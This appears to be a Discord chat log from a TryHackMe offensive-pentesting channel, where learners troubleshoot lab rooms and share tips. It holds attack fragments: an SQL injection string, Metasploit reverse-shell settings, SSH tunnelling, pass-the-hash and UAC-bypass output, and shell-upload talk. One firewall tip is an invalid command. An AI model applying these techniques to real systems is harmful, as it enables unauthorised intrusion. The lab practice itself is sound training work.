From what I can understand it doesn't find the ps1 file on your local webserver. Make sure the file is located in the folder where you started your webserver. Say if you started the web server in /tmp/, the ps1 file should be there

[little orbit]

can someone please tell me if there is a ready-to-use windows machine to work on Task #2 from https://tryhackme.com/room/adenumeration ?

[finite pivot]

There isn't, you need to use the attackbox or VM and RDP in, if you need to.

[little orbit]

how will RDP help if I have no windows machine to connect to?

[finite pivot]

Because the machines booted up are windows.

You'll be given credentials

[little orbit]

@finite pivot can you please explain to me how I can connect to one of those machines step by step? I have the credentials to connect via ssh

[finite pivot]

The room shows you to? I think

[little orbit]

I guess no, that's exactly my problem

[kindred jay]

Q for red teamers : would u prefer using openvpn as a tunnel between your local c2 and a redirector (hosting on cloud) or using nebula 😉

[sharp flame]

Does anyone have an example of using Incognito to abuse the SeImpersonatePrivelege that does NOT involve using Metasploit? I can't seem to find anything - every time there is mention of Incognito it is done through Meterpreter

[kindred jay]

Use potato family instead

[supple current]

hi guys, i need help

Something went wrong. Your change may not have been saved. Please try again. There is also a chance that you may need to manually fix and upload the file over FTP.

this error is giving when trying to save the reverse shell in the php file in the wordpress panel

.

[supple current]

Can someone help me?

[lofty sky]

Are you already an admin equivalent user in wordpress? Also, what room or box are you working on?

[supple current]

yes, I logged in as admin.
I'm at Offensive Pentesting > Advanced Exploitation > Internal

[lofty sky]

Oh.. Internal.. haven't done this box yet. Have you tried to do it in other pages?

[supple current]

Yes, I tried, but it did the same thing.

I'm try again

If there is anyone who has already done this room and can help me... I would appreciate it!

[supple current]

but thanks for trying to help me!

[desert topaz]

Gave +1 Rep to @lofty sky

[lofty sky]

I'll try to take a stab at it tomorrow (after the AoC task) as I'm already curious.

[supple current]

ok, if you can tell me!

I managed it, but only on atackBox, on my kali linux with the vpn it was not possible.

[rare lion]

im stuck at Game Zone room

Im unable to do reverse ssh tunneling in task 5

Im using the command as specified

but it is not working for me

Can anyone help

[sharp flame]

Which part were you stuck at? I'm working on internal and am stuck after getting the SSH tunnel set up and accessing the Jenkins page. When I try to connect to localhost it says connection refused

As in I can't access the 127.0.0.1:8080 because it says connection refused

[woeful atlas]

Hi I am now at this path I'm preparing for CompTIA Pentest+ certificate and I want some recommendations do I need to finish this path first or jump to CompTIA path?

[next wren]

I would say just jump into the Pentest+ path

[woeful atlas]

Then return to Offensive path ?

[next wren]

Offensive path is more difficult then the Pentest+ one imo and the knowledge in it would be overkill for the exam. It is good learning to do after the fact, but I wouldn't feel like you need to go through before getting the certification.

[woeful atlas]

Can you please show me the roadmap all TryHackme paths ?

[next wren]

#general message

[woeful atlas]

👍

[arctic drift]

@pearl bronze

[pearl bronze]

got

hi
this what a command mentioned in task 1 xfreerdp /u:admin /p:password /cert:ignore /v:<ip> /workarea
but connection getting error

[arctic drift]

did you put the IP in?

[pearl bronze]

yes

[arctic drift]

are you connected to the vpn?

[pearl bronze]

yes

[arctic drift]

what OS are you on

[pearl bronze]

kali linux

[arctic drift]

what is the error saying?

can you copy and paste it into chat?

[pearl bronze]

─(kali㉿kali)-[~]
└─$ xfreerdp /u:admin /p:password /cert:ignore /v:10.10.57.12 /workarea
[10:10:58:996] [81332:81333] [ERROR][com.freerdp.core] - freerdp_tcp_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_FAILED [0x00020006]
[10:10:58:999] [81332:81333] [ERROR][com.freerdp.core] - failed to connect to 10.10.57.12

[arctic drift]

what does ip a say?

are you actually connected to the vpn?

if so

try another server

or regenerating your vpn file

[rare lion]

im unable to get the ssh tunnel working even after following the instructions. Im unable to access localhost:10000 in my system

in my terminal im getting the error: channel 3: open failed: administratively prohibited: open failed

I saw many videos and consulted write-ups, nowhere this problem is encountered after following instructions

[covert scarab]

-unmute 990979975786168361

[desert topaz]

🔊 Unmuted vision0870

[sharp flame]

I worked out that I made a mistake with the IP address when trying to connect. The command is ssh -L 1234:[IP from the .txt file]:8080 aubreanna@[IP of the original target machine]

I can't remember the IP from the text file off the top of my head so lets pretend its 174.56.0.2 (this is the site that can only be accessed "internally"). So the tunnel command is: ssh -L 1234:174.56.0.2:8080 aubreanna@10.10.64.92 with 10.10.64.92 being the IP of the original target machine (the one THM gives you when you start it up)

[sharp flame]

In the Breaching AD room in Task 3 (NTLM Authenticated Services) we are given the python script to attack the authentication page. For the sake of the learning experience I was trying to also use Hydra against it but can't figure out how to do it? Anyone able to help?

[vestal sail]

Hey,

I'm kinda stuck in this room, I know how I can manage to do it, but I need some help to explain what is wrong with my steps in Steel Mountain room.

Can someone help me pls ?

[lofty sky]

In what specific step are you currently stuck?

[vestal sail]

The part without Metasploit

I passed it because I know the command but the python2 code wasn't working

And the Part with metasploit, the weak permission vulnerability gave me a hard time LOL. I had to use the exact sc command with specific arguments

[lofty sky]

Aahh. It is quite challenging especially if you haven't done much Windows boxes. I had to use a write up for it as a guide.

[raven flame]

Hello everyone
In the room named "Blue"
on the second task "Gain access", I tried to run the eternal bule script, however it's not working as expected.
I have attached the log data.

Kindly help.

[dense gate]

You are using a wrong LHOST.
It has to be set to your tun0 IP

[raven flame]

Thanks.
I will try again.

I'm still getting the attached error.
I have changed the LHOST to my tun0 IP

` Name Current Setting Required Description

---

RHOSTS 10.10.39.96 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description

---

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.18.3.2 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
`

[raven flame]

It works now.
Thank you so much.
I don't know why errors happens though

[desert topaz]

Gave +1 Rep to @dense gate

[woven jungle]

hello i am doing gatekeeper i got this

but can't get reverse shell

any help?

it is only saying Sending evil buffer...
Could not connect.

[vapid scarab]

Have not done that room yet. You sould consider looking at a write-up at this point

[woven jungle]

I have done exactly like that from alot of writeups but still no

But i get reverse shell back from my local machine

I am just have trouble calling from THM ip

[vapid scarab]

"sudo disable ufw" <--- type this command and all your rev shells will connect.

[silver storm]

hi all,

I'm currently on this room: https://tryhackme.com/room/credharvesting
In task 8 it shows that the user bk-admin is member of THMGroupReader group which has ExtendedRightHolders. Now when i rdp into the machine with the user «thm» instead of «bk-admin» i can run the command:
Get-AdmPwdPassword -ComputerName creds-harvestin
And see the password. But i though this should not be able because my user «thm» is not member of the group?

[trail bluff]

could be nested permissions down the way? Not sure have not looked at the box but was learning about it over at HTB

[sharp flame]

Hi all, I am doing the Lateral Movement and Pivoting room for AD. In Task 3 (Spawining Processes Remotely) I followed the steps and am now connected to THMIIS as nt authority\system
but when I try to run the flag.exe on the t1_leonard.summers/Desktop I get "Sorry! You are still missing something. No flag for you yet. (7)". Not sure what I'm doing wrong

[lethal stirrup]

hello guys i am in the alfred room , in the gaining reverse shell , i do all the requesite to obtain a shell , but nothing happens

[lethal stirrup]

Hello guys does someone completed the the alfred box and different shells bsh, poershell, meterpreter ?

[sharp flame]

when you say you do the requisite to obtain a shell walk us through specifically what you are doing

[sharp flame]

Back to Lateral Movement and Pivoting room for AD. In Task 4 I did the guided practical at the end but am now working through doing it via all the methods explained. I'm trying to do the Creating Remote Service with WMI. I've create the service and run it and added my user but when I try to SSH in with my newly created user I get Permission Denied

[sharp flame]

worked it out - because we are creating a local user we cannot SSH - we would need a domain user

[lethal stirrup]

I mean i get a revshell with ps and meterpreter but i did not get one for bash windows

[sharp flame]

I did the room a while ago so can't remember the details 100%. If you want to use the load into memory method you have to use powershell initially. I tried doing it the non-Metasploit way starting with powershell and loading into memory only and had issues with being able to run WinPEAS on the target system for enumeration. The other problem I faced was using the non-Metasploit Incognito (I don't think standalone Incognito is supported anymore, it took me ages and having to look through old GitHub to even find a binary). The alternative is to use the Potato family of to leverage the privelege vulnerability, however at that point I cracked the shits at the room and moved on. I will come back to it some time in the future to play around with it more. Motasem Hamdan on Youtube does a walkthough of the room with the non-metasploit approach using a simple netcat.

[lethal stirrup]

Yes i fixed the problem , and i do it with 3 methods , powershell, batch windows and metaploit, adnd for the incognito module , it worked for me , thank you a lot

[desert topaz]

Gave +1 Rep to @sharp flame (current: #1957 - 1)

[cinder heron]

hi all ! i have some trouve with room Skynet , the connection of the machine is not good , a lot of timed out :/

[cinder heron]

hi its ok today 🙂 i have fini the room 🙂 the connection is stable today !!! , can u explain me plz ? why one guy in the room have 200 points ? but all persons in the romm have 150 points ?.

[next wren]

First blood points, the first person to get a given flag gets bonus points

[pallid charm]

Points Explained

Article Link

https://help.tryhackme.com/en/articles/6563910-points-explained

Jan 10, 2024, 11:44 PM

[sharp flame]

hello, I am doing Lateral Movement and Pivoting Task5 and have successfully passed the hash and spawned a command prompt. I successfully connected to THMIIS using winrs and am now trying to connect to THMIIS using PsExec using the command c:\tools>PsExec64.exe \\THMIIS.za.tryhackme.com cmd but I get the response Starting cmd.exe on THMIIS.za.tryhackme.com...yhackme.com...IIS.za.tryhackme.com... cmd.exe exited on THMIIS.za.tryhackme.com with error code 0. I have tried it with Powershell too but the same thing happens

[fallow remnant]

For those of you on red team, how much programming overall is needed for your job

[dense kraken]

Meh for just pentest is basic knowledge, not programming every day

[zealous sail]

hello i need help l am studying cyber engineering and I want to become a red team member, and I have been advised to participate in CTFs, and I am also looking for a team

[molten agate]

you can just inbox okay, tryhackme.com, hackthebox.com, ctflearn, offsec proving ground, this are platforms to get you started

[strange ingot]

okay so, is there something OTHER than immunity i can use for the B.O. section? i dont want to add in a windows VM just to do B.O. labs

[raven flame]

Hello
I'm doing a room named "Relavent"

I'm trying to access smbclient using the following command :
`smbclient -L \\10.10.104.91\nt4wrksv -N

    Sharename       Type      Comment
    ---------       ----      -------
    ADMIN$          Disk      Remote Admin
    C$              Disk      Default share
    IPC$            IPC       Remote IPC
    nt4wrksv        Disk      

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.104.91 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available`

but as you can see, it is always returning error

In the walkthroughs, there is no such error. any body knows why is that happening ?

[finite pivot]

You got the file?

It's now in the directory where you launched smbclient from.

[raven flame]

that screenshot is from the walkthrough
it doesn't show that I need to enter a password or error happening

[finite pivot]

Do you have the box open now?

[raven flame]

my pc screenshot would like like :

[raven flame]

you mean connected to it ? yes

[finite pivot]

I just connected and downloaded passwords.txt fine

Try using just one slash after the ip

And only two slashes at the start

[raven flame]

Thank you so much
It worked.

I think I needed to changed the slashes as you advised and remove that -L

[desert topaz]

Gave +1 Rep to @finite pivot (current: #2 - 1897)

[finite pivot]

Yup. 🙂

[raven flame]

any advice on how to improve my windows boxes related knowledge? I feel I am still zero in it. Linux is the best for me.

[finite pivot]

Thm has a few, IIRC.

External material is good if you can get it.

[lofty sky]

Grind them I guess - Anthem, Internal, Blue Print, Hack Park, Flatline, Blue, Atlas are ones I can think off the top of my head. Working on my Windows skills as well.

[raven flame]

Thank you so much

[desert topaz]

Gave +1 Rep to @finite pivot (current: #2 - 1898)

[raven flame]

Thank you so much
Is it normal to not master windows while feeling good at linux?

[lofty sky]

I suppose it is because there are more Linux boxes as creators don't have to worry about OS license unlike in Windows.

And Windows requires more resources than Linux? I think, but because Windows is so widely used in enterprise environments, you have to get well versed in it.

[raven flame]

Thank you so much.
I thought that It's just me who is bad in windows and never thought about the number of boxes I did.
really appreciate your answers.

any recommendations for additional courses to improve my windows hacking skills except the rooms above, or that is just enough for me as a preparation step before start HTB or OSCP ?

[desert topaz]

Gave +1 Rep to @lofty sky (current: #19 - 373)

[lofty sky]

Do check Tib3rius or TCM's Windows PrivEsc boxes in THM to give you an idea on how they laid out their courses.

[raven flame]

Thank you so much.
I will check TCM's boxes and their course then.

[desert topaz]

Gave +1 Rep to @lofty sky (current: #19 - 374)

[sharp flame]

I'm working on the ExploitingAD module. For some reason my user that I got from the distributor cannot RDP into THMWRK1 - it says timeout waiting for connection. I can ssh into it though so the machine is in fact working.

[sharp flame]

I also tried it with the t2 account that we compromised in Task2 but same thing - just times out. Can still SSH into the machine though

[cinder heron]

Hello all , i need some help plz ! in room overpass , i cant use hashcat to crack the pass with salt because my hascat give me error message : Device #1: Not enough allocatable device memory for this attack. , can we change the allocatable device memory for attack plz ? i have only 702/1468 MB (256 MB allocatable), 4MCU
Thx for helping

[next wren]

You're trying to crack ||the passphrase for the SSH private key|| then? I don't recall there being any password cracking outside of that within that room. If this is indeed what you are stuck on I'd try and use johntheripper if I was you.

[cinder heron]

thx you 😉 ! i'm am in the Task 2 Research - Analyse the code 🙂 last question 🙂 but i think i need to install cuda toolkit in my kali for hachcat detect my gpu 🙂

[next wren]

I really wouldn't bothering trying to do that, just use hashcat on your host if you need the GPU power.

[cinder heron]

ok thx you 🙂 , i increase my knowledge 😉

[nova compass]

Hi guys I wanted to know if there is anymore cool AD boxes like razorblack? would love to practice more on AD using boxes to get my methodology right😃

[cunning steeple]

good spirit

[lofty sky]

Look at Reset and Enterprise. Haven't done AD rooms yet so those two are the only ones that come to mind.

[nova compass]

sure thank you so much😃

[desert topaz]

Gave +1 Rep to @lofty sky (current: #18 - 378)

[atomic maple]

Hey Guys! After the Jr. Pentester path and some basic paths I'm trying to complete this offensive pentesting path, but at the Buffer Overflow Prep room I was like: WHHAAAAAAAAT? I searched for easier Buffer Overlfow rooms and I ended up with "Buffer Overflows" room. I feel I'm still a bit lost so I need an advice where to start this topic? Thank you 🙂

[vocal ferry]

Hello I'm having issue while connection to Exploiting Active Directory room. Used both methods as using OpenVPN and Attack Box. Not able to share screenshots here as it's only showing "Use Apps" options . Please guide me how to insert Screenshots for better understanding of issue

[lofty sky]

You'll have to verify your account to post screenshots

[pallid charm]

Discord: How do I verify my TryHackMe account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Feb 3, 2024, 4:21 AM

[lofty sky]

Can you describe the issue you are having?

[vocal ferry]

1] Used OpenVPN method for connection

[vocal ferry]

2] Used AttackBox for Connection but their is no "exploitad" interface available

[lofty sky]

Have you tried to vote for a network reset?

[vocal ferry]

Yes

[lofty sky]

Also, do check the pinned posts in the #exploiting-ad channel to see if any would help.

[vocal ferry]

I read pinned messages in #exploit-ad, the ping is working but it's not able to find THM Nameserver. What is issue here? Please explain

[lofty sky]

Did you set it following the instruction in the room? There was a command it asked you to run to set your DNS.

[vocal ferry]

Are you referring to above given systemd-resolve command?

[rare belfry]

i Just finish that room on my youtube live

[rare belfry]

Yes... you must do that if you using attack box ... change the $THMDCIP base on network.

[vocal ferry]

Already tried to use given command with $THMDCIP as well as $THMCHILDDC IP but it's not working as "exploitad" network interface is not present on Attack Box, Please explain me what am I doing wrong here?

[rare belfry]

Look like the attackbox does not have the interface of exploit ad

[vocal ferry]

Yes, so what should I do now?

[rare belfry]

Try using tun0 as the interface then

[vocal ferry]

Ok , let's see what happen then

[vocal ferry]

Used "tun0" as interface with both $THMDC & $THMCHILDDC IP but still not able to connect

[finite pivot]

Which room are you doing?

[lofty sky]

He was setting up the DNS for Exploiting AD.

[cunning steeple]

how do u build a dns from scratch, is it just a windows server that works like http server but instead resolves names? like a database only

[rare belfry]

hi guys ... need help ... i am doing gatekeeper and already on the box ... why the winpeas.exe not work ?

[lofty sky]

Even if the exe file matches the OS architecture (unless you are using the any version of the exe)?

[rare belfry]

i don't check the architecture i only have a 64 bit winpeas

[lofty sky]

Can you do systeminfo just to check te architecture? Or you can use the any version of the binary.

[rare belfry]

yups... i was change my payload using meterpreter session and working on it

Yeeeiiii , got something new again to learn, got the credential dumping using firefox.
Thank you for the walktrought 😅

[polar frost]

Unquoted service path vulnerability is still an issue in Win10,11?… isn’t there any defensive mechanism that intercepts it automatically and fixes it?

[jagged mortar]

any tips on understanding reverse ssh tunnels? useful rooms or walkthroughs welcome. just did game zone and am totally clueless lol

[rare belfry]

Kitty room is using ssh tunnel on priviledge ...
ssh user@ip -L port_local:local_ip:remote_port

[candid raven]

Guys literally who is messing with .kbdx file . First after downloading the file and open the database their is no flag there and no service account instead someone make a account name Michael. Literally very frustrated with these

[lofty sky]

In which room is this occurring?

[candid raven]

Exploiting AD users

Exploiting AD

If you can jump in general I can Screen share

[atomic maple]

Hey Guys! I have a hard time with the Brainstorm room. Firstly nobody ever found 6 open ports. At least I couldn't find any write-up with explanation why 6 is the answer... Secondly it seems like this room can't be completed in the attack box. (Is that right?) It's a bit frustrating.

[finite pivot]

IIRC you need a Windows VM with immunity debugger for the BoF

[rare belfry]

i am use the Buffer Overflow Prep Machine todo that 😅 since i don't want to install windows

[slow trench]

hello please i need help in room skynt

nmap -A ip didn't work

else ping not working

[cobalt blaze]

Hello, I'd like to share this video with those interested in understanding Buffer Overflow concepts in general and preparing for Buffer Overflow Prep CTF https://www.youtube.com/playlist?list=PLRS1rLRk5OUX7-qUErv1Q7LejuwR6cvod

[steady scroll]

Try -Pn

[slow trench]

yeah I try it thanks for your help

[waxen sluice]

Hi,
I cant RDP into the VM using the command xfreerdp……

[lofty sky]

Which room are you working on?

[waxen sluice]

Buffer Overflow Prep

Can't RDP into Windows 7 VM in Buffer Overflow Prep. I get this error: xfreerdp /u:admin /p:password /cert:ignore /v:10.10.99.147
[21:24:44:353] [4551:4552] [ERROR][com.freerdp.core] - transport_connect_tls:freerdp_set_last_error_ex ERRCONNECT_TLS_CONNECT_FAILED [0x00020008]

[rare belfry]

Try add /tls-seclevel:1.2 if you use version 1.2

[limber notch]

did anyone have trouble with OVERFLOW2? I get it to crash at 2100 bytes, but the offset is wrong.

[rare belfry]

are you on Buffer Overflow Prep room? i think your offset is false.

[sharp flame]

I am doing this path and got to the Buffer Overflow section but have never done any before. What rooms I should do to learn buffer overflow before I can start the practice here?

[rare belfry]

i thing this room Buffer Overflow Prep will guide us to know how to pwn the machine

[sharp flame]

It says that "this room does not teach buffer overflow from scratch...". I'm wondering what rooms I should do to learn buffer overflow from scratch

[rare belfry]

try this one https://tryhackme.com/room/bof1

[limber notch]

Ya… trying to figure out why. I set it to OVERFLOW2, changed scripts to OVERFLOW2, it crashes at 700 bytes initially…i tried adding bytes and it doesnt crash until 2100, and the offset ends up being 2208 which is wrong

[limber notch]

nevermind..it works now lol..not sure what happen.

[limber notch]

could someone go add a vote in BreachingAD to reset network? need 2 🙏🏽

[finite pivot]

Can you state you subnet? 10.200.xxx.101

The xxx will be your subnet.

[limber notch]

haha 9

[finite pivot]

thanks!

It's just so people don't vote to reset who aren't in your subnet.

[desert topaz]

Gave +1 Rep to @limber notch (current: #1325 - 2)

[limber notch]

ohh, yea i didnt think about that.

[small pollen]

Hi,
In the "Hacking with Powershell" room, in Task 3, as far as I tested there is a bit of misleading information.

I can't send a screenshot, but it's in the part where the following command is explained:
Verb-Noun | Where-Object {$_.PropertyName -operator Value}

From what I tried, the Value must be in single/double quotes in order for Powershell to understand it correctly. Otherwise, you get an error

for example:

Correct form:
Get-Service | Where-Object {$_.Status -eq 'Stopped'}

Incorrect form:
Get-Service | Where-Object {$_.Status -eq Stopped}

[arctic quarry]

hi - when i execute WinPeas in a compromised windows box, it does run and shows its initial checks but after a while, the shell terminal just goes blank and no output is shown in the terminal. Any idea what went wrong?

[lofty sky]

Maybe it is still hasn't completed running? I've had similar instances where it doesn't completely run even if I restart the target and execute it multiple times.

[arctic quarry]

i resolved it by using its .bat version instead. For some reason, the exe seems glitchy,

[lofty sky]

Will try this one as well. Thanks for the tip.

[desert topaz]

Gave +1 Rep to @arctic quarry (current: #1332 - 2)

[queen junco]

how to get phone number from linkedin?

[keen iris]

What are you trying to accomplish?

[honest cradle]

does someone know if the brainstorm room is working correctly? I cant list the files when connecting to ftp, it shows '229 Entering Extended Passive Mode (|||49379|)' Im not sure if iI need to do something else

also, the first answer is 6 open ports but I never found 6 open ports even with udp scan i only found 3

[rare belfry]

You can type passive off

[rare belfry]

idk but are try with tag -p- with -Pn

[fiery sable]

how did this got resolved? Please assist

[fiery sable]

Hackpark Box: Task 3 : i uploaded the PostView.ascx file and then tried to get reverse shell but i get error : Ooops! An unexpected error has occurred.
This one's down to me! Please accept my apologies for this - I'll see to it that the developer responsible for this happening is given 20 lashes (but only after he or she has fixed this problem).

Does anyone has clue ho wto solve this hurdle here : the command which I gave on the browser is http://10.10.216.235/?theme=../../App_Data/files

[fiery sable]

Make sure you are using the LHOST address while updating the exploit code - silly mistake at my end

[rare belfry]

It’s can happen to anyone

[granite nest]

I am having an issue with the Skynet room. I keep getting this error any time I try to connect to the smbclient "session setup failed: NT_STATUS_LOGON_FAILURE", any help?

[lofty sky]

What is your complete smbclient command?

[granite nest]

smbclient -U milesdyson \\\\10.10.52.205\\milesdyson

[lofty sky]

Are you certain you have the correct password?

[granite nest]

Yeah

[lofty sky]

Did you manage to make this work?

[granite nest]

Yeah I managed to. Thanks

[desert topaz]

Gave +1 Rep to @lofty sky (current: #14 - 488)

[final scaffold]

Hey Void, I'm having the exact same issue, oh wow 2 YEARS later! DId you manage to fix the error?

Hey everyone, I've recently been working through the THM path on buffer overflows and have been doing Brainstorm, a simple windows box running a vulnerable program called Chatserver.exe. I want to run Chatserver.exe on my local windows machine to test my payload, but I just keep getting this error (below). I've used windows10-32bit, tried windows11-64bit virtual machines, and I've tried it on my local windows desktop (very unsafe of course) but to no avail. It also doesn't seem to be working on my kali computer. Any tips? Anyone else had this problem? Any help is so appreciated! 😄

[mellow tusk]

Hey there! Wow what a long time ago hahaha

For the solution (that solved it in my case) just scroll down a bit from that message

Oh wait I take that back, I guess I was never able to solve it 😅

[final scaffold]

Crazy right! I tried using a virtual machine (using virtual box) pretty sure this is just all the default settings from the official windows iso image. But still no luck.

Any idea what daft mistake I've made?

(thanks for the reply btw!)

[final scaffold]

oh XD

I might just have to skip this one for now...

All the other buffer overflows have been fine.

👍

[final scaffold]

Hey just wondering (sorry to disturb you) but did any of the other boxes work for that section? I'd just like a heads up before I waste time wrestling with them.

[mellow tusk]

Hey no worries 😄 I honestly don't remember since it happened so long ago

DMd you

[sharp sinew]

All of the file extensions are not allowed. Why is it?

[sharp sinew]

This room needs to be updated. When selecting position when fuzzing the file extension, don't include the . and also remove the . on your phpextension list file

[lofty sky]

Is this Vulnversity? Do you have the correct directory?

[sage quarry]

Hi, everyone

[lofty sky]

Hey!

[sage quarry]

Hi

[grand gorge]

Hey

[rustic hemlock]

https://cdn.discordapp.com/attachments/1183741406678884352/1239625965714280519/Revivan_el_sv-1.mp4?ex=665761a5&is=66561025&hm=10c41326e89d6405e614e77ce9f6396cdd808bc3958aeaaad93a18c34d0f4124&

[subtle swift]

I am studying the PJPT and we are using the same material from my understanding. I wouldn’t mind

[lofty sky]

I am in the TCM Security discord group as well and the general consensus is that using their material is more than sufficient. Also, please use other channels as this is for THM's Offensive Pentesting learning path 🙂

[past bluff]

Hey THM Community! For those that want to enhance your knowledge in network pivoting for HTM's boxes, I've just uploaded a video on YouTube on how to use chisel and socat tools within a corporate infrastructure to move within different networks.

https://youtu.be/h8ITLYekt6I

[lofty sky]

Might be better posted in #thm-community-media I guess?

[little estuary]

Can anyone sniff-test gatekeeper for me?
Yesterday I couldn't get the buffer overflow (using the recipe that had worked previously) and today no ports are open on the machine 😖

It's been up for ~10m by now (free user)

[finite pivot]

What's the ip?

[little estuary]

10.10.248.96
up for 30m now.

[finite pivot]

Just before I check.

You remember it's a Windows box, right?

[little estuary]

100%

Are you suggesting there's something banning my IP due to the portscan?
Cause SMB and everything else isn't coming up either.

(I suspect it may be a VM resource issue)

[finite pivot]

Nope, no ports, I'd reboot.

I booted a clean machine up and got ports.

[lyric arch]

Hey got a quick question on the Lateral Movement and Pivoting room any free to help?

[solid eagle]

I've been doing a series of livestreams as I progress thru this learning path, this is the most recent addition (started a bit late in the path)

https://www.twitch.tv/videos/2180652288

[solid eagle]

This was a fun one, This time I had to write an exploit for a server where I didn't have the ability to debug the actual instance I was exploiting.

Had to setup my own Windows VM and write the exploit there, change my payload and then deploy it on the "live" service.

Sure enough I got a shell at the end 🙂

https://www.twitch.tv/videos/2181758592

[quartz verge]

Thinking about doing this pathway and saw there was a buffer overflow section. Does it teach you how to perform buffer overflows or do you have to learn it on your own?

[solid eagle]

both

teaches you how to write them, preforming them is optional. but i like to get shell for each one

This is me going thru OVERFLOW7 somewhat quickly, after spending 5min figuring out how/why port was in use

https://youtu.be/t9okoKh9L0Y?t=260

[solid eagle]

And done 🙂

https://tryhackme-certificates.s3-eu-west-1.amazonaws.com/THM-TRZJHGAQO6.png

[fallow walrus]

for the GameZone room, why do I need to include the - at the end when the -- before it should start the comment and comment out the rest of the statement?

this is the sql they say to input:

' or 1=1 -- -

[lofty sky]

I read somewhere that it is to "protect" the space after the -- as it sometimes gets filtered.

[fallow walrus]

Thank you! That makes sense. I'm guessing in that THM room they must be doing that filtering. I was curious because everything I looked up said a comment was just '--', so I wanted to know the purpose of the last '-;

[blissful forge]

È If you are in the Administrators group check how to bypass the UAC https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access
ConsentPromptBehaviorAdmin: 5 - PromptForNonWindowsBinaries
EnableLUA: 1
LocalAccountTokenFilterPolicy:
FilterAdministratorToken:
[*] LocalAccountTokenFilterPolicy set to 0 and FilterAdministratorToken != 1.
[-] Only the RID-500 local admin account can be used for lateral movement

Anybody know if this means UAC bypass might be possible?

[drowsy yacht]

I am currently having a bit of difficulty with the room Alfred on the Offensive Pentesting Path. Is this the best place to reach out for some potential guidance?

[drowsy yacht]

I'm not exactly sure what the problem was, but after a couple of hours, I got it figured out. There was some problem with how I was downloding the .ps1 script.

[fallow walrus]

For the skynet room the connection to the box is having a bunch of connection issues, especially with samba.

It takes at least 10 seconds for what I type to show up in the terminal, and I keep getting timeout errors running basic commands like 'cd', 'ls', 'get', etc....

I'm using the VPN connection from my own Kali instance, but I never experienced errors like this before using it.

[steady scroll]

Think it's your shell try. Python -c 'import pty;pty.spawn("/bin/bash")'

[bright wing]

This path requires me to understand buffer overflow?

[mild rain]

there's a module about it in the course so you'll do fine following up

i'm amidst of it

Quick question on overpass2

[bright wing]

you mean the prep room?

[mild rain]

||found the backdoor and all, and i'm on cracking the hash but it doesn't seem to be salted as just by reading it and even hashcat/hashid don't see it salted, has something changed or is it just the working of my tools that is weird?||

[mild rain]

i mean there's a whole section about buffer overflow

[bright wing]

yeah ik, the first one is a ctrl+c and ctrl+v the other ones are challenges

[bright wing]

oh you gotta check the github

[mild rain]

don't only copy/paste try understanding what it does ^^

[mild rain]

gosh just realized what i missed....; thanks!

[desert topaz]

Gave +1 Rep to @bright wing (current: #1096 - 3)

[bright wing]

you're welcome, ngl it isn't your fault, the questions were unclear

[smoky atlas]

Trying to do the Overpass 2 - Hacked room but... when trying to do the 2nd question, it's not working and in Wireshark I'm getting this payload.

[finite pivot]

It's the symbols, it's a known issue. 🙂

[unreal folio]

Anyone have any tips for dealing with the rdp machine on BOF Prep room room crashes or freezes every two seconds lol

[fleet wedge]

really sucks

[unreal folio]

ya its basically impossible to work with/ i tried to use the VIP VPN too but not really any differant

[worldly shoal]

for the buffer overflow challenges, how do you solve these without having to set up a brand new vm with windows and immunity debugger? We really should have a windows machine available with immunity debugger in those 3 rooms.

[umbral mirage]

+1

[south inlet]

Why is the offensive penetrating path not there on the new THM roadmap?

[lofty sky]

What are you referring to as new roadmap? It still is listed in mine -

[timber warren]

I assume he means https://tryhackme.com/r/hacktivities

[ashen hornet]

Indeed, not all available paths are included in the roadmap. 🙂

[timber warren]

If I may ask, is there a specific reason for it? Because doing the Offensive Pentesting Path before the Redteaming would make sense right?

[ashen hornet]

Not sure about the exact reason, although I imagine it has overlap with the Jr Penetration Tester path, so it might be a matter of selection.

[umbral marlin]

How do I get started in cybersecurity so that I can hack like a Black hat hacker and secure them like a cybersecurity expert

[lofty sky]

Do check the #start-here channel.

[little estuary]

Think which other rooms have such a machine already... 😈

[supple grotto]

Hello everyone,

I have completed the following paths:

• Jr Penetration Tester
• Web Fundamentals
• Web Application Pentesting

Then, I started the Offensive Pentesting Path and managed to go through Getting Started and Advanced Exploitation without any issues. However, I don’t feel ready for Buffer Overflow and Active Directory yet.

Do you think it would be useful to complete the Red Teaming Path first and then return to finish Offensive Pentesting?

[lean scaffold]

Yes 🙂

Conplete it first and after it do some x86 rooms

[supple grotto]

Thanks

[desert topaz]

Gave +1 Rep to @lean scaffold (current: #1 - 3910)

[sweet star]

Hi there, I'm getting some DNS issues in order to start with Active Directory breach scenario. What's the best way to proceed?

[halcyon hare]

Hi all, is anyone having issues with the Enumerating Active Directory VPN profile? Seems to be corrupt every time I try to download it.

[lean scaffold]

leave the room and re-join , then try to download vpn file again

[halcyon hare]

Thanks @lean scaffold ,still isn't working though. Downloading a blank file 🫤

[desert topaz]

Gave +1 Rep to @lean scaffold (current: #1 - 4085)

[lean scaffold]

Are you a premium user ?

[halcyon hare]

Yea, streak is on 148 too

[lean scaffold]

Have you started the network beforehand ?

[halcyon hare]

yea once, think it was couple days ago now

[lean scaffold]

Can you try to restart the network ?

[halcyon hare]

Yup we're all good now, thanks @lean scaffold 🫡

[desert topaz]

Gave +1 Rep to @lean scaffold (current: #1 - 4087)

[tender spear]

If anyone here has a small study group for OSCP prep, please DM me or add me in there. I'm going through THM rooms for now. We can perhaps learn together.
